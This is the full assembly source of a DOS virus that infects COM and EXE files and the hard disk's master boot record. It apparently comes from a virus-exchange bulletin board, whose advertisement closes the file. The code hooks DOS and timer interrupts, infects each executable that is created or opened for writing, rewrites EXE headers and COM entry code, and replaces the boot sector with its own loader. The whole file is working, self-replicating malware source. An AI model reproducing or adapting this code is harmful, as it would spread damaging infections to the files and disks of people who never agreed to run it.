cseg segment public 'code' assume cs:cseg,ds:cseg,es:cseg ;------------------------------------------------------------------------------ ; This virus is an com, exe and partitiontable infector. It will become resident ; after the first reboot. The virus is stored above TOM but below 640k. ; When the virus is resident the virus will infect every com and exe-file that ; is created or opend for read and write. The virus doesn't use any stealth ; techniques. The virus doesn't do anything besides replicate. I don't have ; a good name for it, so I named it 'Digital Research Virus'. ;------------------------------------------------------------------------------ SectorCount equ (CodeEnd-$+1ffh) shr 9 ; Codesize in sectors MemoryCount equ (DataEnd-$+3ffh) shr 10 ; Memory needed in kb ;------------------------------------------------------------------------------ ; The first part of a com-file is overwritten by the following code ;------------------------------------------------------------------------------ ComCS equ this word+4 ComEntry: mov dx,cs add dx,100h push dx mov dx,offset MainCOM push dx retf dw 0DEADh EntrySize equ ($-ComEntry) SavedCode equ this word ; orginal com-entry code OldCSIP equ this dword ; orginal ip,cs,ss and sp OldIP dw 0 OldCS dw -10h OldSS dw 0 OldSP dw 400h db EntrySize-8 dup(0) ;------------------------------------------------------------------------------ ; The first part of the bootsector is overwritten by the folowing code ;------------------------------------------------------------------------------ BootSector: cli ; disable interrupts xor bx,bx ; set ds and ss:sp mov ds,bx mov ss,bx mov sp,7c00h sti ; enable interrupts mov ax,ds:[413h] ; get memorysize sub ax,MemoryCount ; adjust memory size mov ds:[413h],ax ; store new memorysize mov cl,6 ; calculate segment address shl ax,cl mov es,ax push ax ; store segment and offset mov ax,offset StartUp ; of startup on stack push ax mov ax,200h+SectorCount ; read the virus from disk mov cx,2 mov dx,80h int 13h retf ; jump to startup procedure BootSize equ ($-BootSector) ;------------------------------------------------------------------------------ ; startup procedure ;------------------------------------------------------------------------------ StartUp: cli ; disable interrupts mov ax,offset Interrupt8 ; save old interrupt 8 vector xchg ax,ds:[20h] ; and store new vector mov word ptr es:SavedInt8[0],ax mov ax,cs xchg ax,ds:[22h] mov word ptr es:SavedInt8[2],ax mov cs:Count,182 sti ; enable interrupts push ds ; es=ds pop es mov bx,7c00h push es ; store segment and offset of push bx ; bootsector on stack mov ax,201h ; read bootsector from disk mov cx,1 mov dx,80h int 13h push cs ; ds=cs pop ds mov si,offset OrginalBoot ; restore first part of mov di,7c00h ; bootsector mov cx,BootSize rep movsb push es ; ds=es pop ds retf ; jump to bootsector ;------------------------------------------------------------------------------ ; This interrupt will do nothing until it's called for the 182nd time, at that ; moment 10 seconds have past, and the virus will adjust interrupt vector 13h ; and 21h ;------------------------------------------------------------------------------ Count dw 182 Interrupt8: cmp cs:Count,0 ; do nothing if interrupts jz Old8 ; are adjusted dec cs:Count ; countdown (10 seconds) jnz Old8 push ax ; save registers push ds xor ax,ax ; ds=0 (Interrupt vectors) mov ds,ax mov ax,offset Interrupt21 ; save old interrupt vector 21 xchg ax,ds:[84h] ; and store new vector mov word ptr cs:SavedInt21[0],ax mov ax,cs xchg ax,ds:[86h] mov word ptr cs:SavedInt21[2],ax mov cs:Handle,0 pop ds ; restore registers pop ax Old8: jmp cs:SavedInt8 ;------------------------------------------------------------------------------ ; This interrupt is installed after 10 seconds, it will then infect every exe ; file that is created or opened to write. It also contains an installation ; check ;------------------------------------------------------------------------------ Interrupt21: cmp ah,30h je Version ; dos version cmp ah,3ch je Open ; create file cmp ax,3d02h je Open ; open for write cmp ah,3eh je Close ; close file Old21: jmp cs:SavedInt21 ; do orginal interrupt Open: cmp cs:Handle,0 ; other exe-file opnened ? jne Old21 ; yes, can't do anything call CheckExe ; check for .exe extension jnc ExeFile call CheckCom jnc ComFile jmp Old21 ComFile:pushf ; execute orginal interrupt call cs:SavedInt21 jc Fail ; error opening file mov cs:Handle,ax ; store handle for infection mov cs:Infect,offset InfectCOM ; store infect procedure retf 2 ExeFile:pushf ; execute orginal interrupt call cs:SavedInt21 jc Fail ; error opening file mov cs:Handle,ax ; store handle for infection mov cs:Infect,offset InfectEXE ; store infect procedure Fail: retf 2 Close: or bx,bx ; handle 0 ? je Old21 ; do orginal interrupt cmp bx,cs:Handle ; handle of exe-file ? jne Old21 ; no, do orginal interrupt call cs:Infect ; infect file mov cs:Handle,0 jmp Old21 ; do orginal interrupt Version:cmp dx,0DEADh ; installation check jne Old21 ; no, do orginal interrupt mov ax,dx ; ax=dx iret ; return to caller Extension db 'EXE','COM' CheckEXE: push bx push es push cs pop es mov bx,offset Extension[0] call Check pop es pop bx ret CheckCOM: push bx push es push cs pop es mov bx,offset Extension[3] call Check pop es pop bx ret Check: push ax ; check if extension is .exe push cx ; save registers push si push di mov al,0 ; al=0 mov cx,100h ; max length is 100h characters mov di,dx ; di=begin of filename Nxt: jcxz Other ; length > 100h characters, ; must be an other file inc di dec cx cmp byte ptr ds:[di-1],0 ; end of filename ? je Last cmp byte ptr ds:[di-1],'.' ; point ? jne Nxt ; no, next character mov si,di ; si=di, si=last point mov al,1 ; al=1, al=1 if point found jmp Nxt ; next character Last: or al,al ; point found ? je Other ; no, it's not an exe-file mov di,bx cld lodsw ; get 2 bytes after '.' and ax,0dfdfh ; uppercase scasw ; compare jne Other lodsb ; get 1 byte and al,0dfh ; uppercase scasb ; compare jne Other ; no, not an exe-file clc ; clear carry, exe-file jmp Done ; return to caller Other: stc ; set carry, not an exe-file Done: pop di ; restore registers pop si pop cx pop ax ret ; return to caller ;------------------------------------------------------------------------------ ; this procedure infects an exe-file that is opened and the handle is in bx ;------------------------------------------------------------------------------ InfectEXE: push ax ; save registers push bx push cx push dx push ds push es push cs ; ds=es=cs pop ds push cs pop es mov ax,4200h ; goto top of file xor cx,cx xor dx,dx call DOS mov ah,3fh ; read exe-header mov cx,1ch mov dx,offset ExeHeader call ReadWrite cmp ChkSum,0DEADh call ReturnEqual mov ChkSum,0DEADh mov ax,ExeIP ; save orginal ip,cs,ss and sp mov OldIP,ax mov ax,ExeCS mov OldCS,ax mov ax,ExeSS mov OldSS,ax mov ax,ExeSP mov OldSP,ax mov ax,PageCount ; calculate new cs and ss mov dx,PartPage or dx,dx jz Zero1 dec ax Zero1: add dx,0fh mov cl,4 shr dx,cl inc cl shl ax,cl add ax,dx mov dx,ax sub dx,HeaderSize mov ExeCS,dx ; store new cs,ip,ss and sp mov ExeIP,offset MainEXE mov ExeSS,dx mov ExeSP,offset CodeSize+800h mov dx,10h ; calculate offset in file mul dx push ax ; save offset push dx add ax,offset CodeSize ; calculate new image size adc dx,0 mov cx,200h div cx or dx,dx je Zero2 inc ax Zero2: mov PageCount,ax mov PartPage,dx cmp MinMem,80h jae MinOk mov MinMem,80h MinOk: cmp MaxMem,80h jae MaxOk mov MaxMem,80h MaxOk: pop cx ; restore offset pop dx mov ax,4200h ; goto found offset call DOS mov ah,40h ; write virus mov cx,offset CodeSize xor dx,dx call ReadWrite mov ax,4200h ; goto top of file xor cx,cx xor dx,dx call DOS mov ah,40h ; write new exe-header mov cx,1ch mov dx,offset ExeHeader call DOS jmp Return Error: add sp,2 ; get return address of stack Return: pop es ; restore registers pop ds pop dx pop cx pop bx pop ax ret ; return to caller ;------------------------------------------------------------------------------ ; jumps to error when z-flag is 1 ;------------------------------------------------------------------------------ ReturnEqual: je Error ret ;------------------------------------------------------------------------------ ; this procedure executes the orginal interrupt 21h, if ax is not equal to cx ; an error occured. This procedure is called from InfectEXE and InfectCOM ;------------------------------------------------------------------------------ ReadWrite: pushf cli call cs:SavedInt21 jc Error cmp ax,cx jne Error ret ;------------------------------------------------------------------------------ ; this procedure executes the orginal interrupt 21h, and is called from ; InfectEXE and InfectCOM ;------------------------------------------------------------------------------ DOS: pushf ; call orginal interrupt 21h cli call cs:SavedInt21 jc Error ; error? yes, jump to error ret ; return to caller ;------------------------------------------------------------------------------ ; this procedure infects an exe-file that is opened and the handle is in bx ;------------------------------------------------------------------------------ InfectCOM: push ax ; save registers push bx push cx push dx push ds push es push cs ; ds=es=cs pop ds push cs pop es mov ax,4200h ; goto top of file xor cx,cx xor dx,dx call DOS mov ah,3fh ; read first 3 bytes mov cx,EntrySize mov dx,offset SavedCode call ReadWrite mov si,offset SavedCode mov di,offset ComEntry mov cx,EntrySize rep cmpsb je Return mov ax,4202h ; goto end of file xor cx,cx xor dx,dx call DOS or dx,dx ja Error cmp ax,0f000h ja Error add ax,0fh mov cl,4 ; prepare the com-entry shr ax,cl add ax,10h mov ComCS,ax sub ax,10h shl ax,cl ; goto end of file mov dx,ax mov ax,4200h xor cx,cx call DOS mov ah,40h ; write virus at the and of the mov cx,offset CodeSize ; com-file xor dx,dx call ReadWrite mov ax,4200h xor cx,cx xor dx,dx call DOS mov ah,40h mov cx,EntrySize mov dx,offset ComEntry call DOS jmp Return ;------------------------------------------------------------------------------ ; This procedure infects the master bootsector of the first harddisk. There are ; no registers saved. ;------------------------------------------------------------------------------ InfectBoot: mov ah,30h ; installation check mov dx,0DEADh int 21h cmp ax,dx je Infected push cs ; ds=es=cs pop ds push cs pop es mov ax,201h ; read bootsector mov bx,offset OrginalBoot mov cx,1 mov dx,80h int 13h jc Infected mov si,offset OrginalBoot ; compare bootsector with viral mov di,offset BootSector ; bootsector mov cx,BootSize repe cmpsb je Infected mov ax,300h+SectorCount ; write virus to disk xor bx,bx mov cx,2 mov dx,80h int 13h jc Infected mov si,offset BootSector ; adjust bootsector mov di,offset OrginalBoot mov cx,BootSize rep movsb mov ax,301h ; write bootsector to disk mov bx,offset OrginalBoot mov cx,1 mov dx,80h int 13h Infected: ret ; return to caller ;------------------------------------------------------------------------------ ; this is the main procedure, when starting up from an com-file, it will ; check if the first harddisk is infected, if not it will infect it. ;------------------------------------------------------------------------------ MainCOM:push ds mov dx,100h push dx push ax push ds push es push cs pop ds mov si,offset SavedCode mov di,dx mov cx,EntrySize rep movsb call InfectBoot pop es pop ds pop ax retf ;------------------------------------------------------------------------------ ; this is the main procedure, when starting up from an exe-file, it will ; check if the first harddisk is infected, if not it will infect it. ;------------------------------------------------------------------------------ MainEXE:push ax ; save registers push ds push es mov ax,ds ; adjust cs and ss add ax,10h add cs:OldCS,ax add cs:OldSS,ax call InfectBoot ; infect the bootsector pop es ; restore registers pop ds pop ax mov ss,cs:OldSS ; set ss:sp mov sp,cs:OldSP jmp cs:OldCSIP ; jump to orginal code CodeSize equ $ ;------------------------------------------------------------------------------ ; the first part of the orginal bootsector is stored here ;------------------------------------------------------------------------------ OrginalBoot db BootSize dup(0) CodeEnd equ $ ;------------------------------------------------------------------------------ ; the variables used by the virus when its resident are stored here ;------------------------------------------------------------------------------ SavedInt8 dd 0 ; orginal interrupt 8 SavedInt21 dd 0 ; orginal interrupt 21 Handle dw 0 ; handle of first exe-file ; opened Infect dw 0 ; offset infect procedure Buffer equ this byte ExeHeader dw 0dh dup(0) ; exe-header is stored here Signature equ ExeHeader[0] ; exe-signature 'MZ' PartPage equ ExeHeader[2] ; size of partitial page PageCount equ ExeHeader[4] ; number of pages (200h bytes) HeaderSize equ ExeHeader[8] ; size of the exe-header MinMem equ ExeHeader[0ah] ; minimum memory needed MaxMem equ ExeHeader[0ch] ; maximum memory needed ExeSS equ ExeHeader[0eh] ; SS ExeSP equ ExeHeader[10h] ; SP ChkSum equ ExeHeader[12h] ; checksum, DEAD if infected ExeIP equ ExeHeader[14h] ; IP ExeCS equ ExeHeader[16h] ; CS DataEnd equ $ cseg ends sseg segment stack 'stack' db 400h dup(?) sseg ends end MainEXE ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ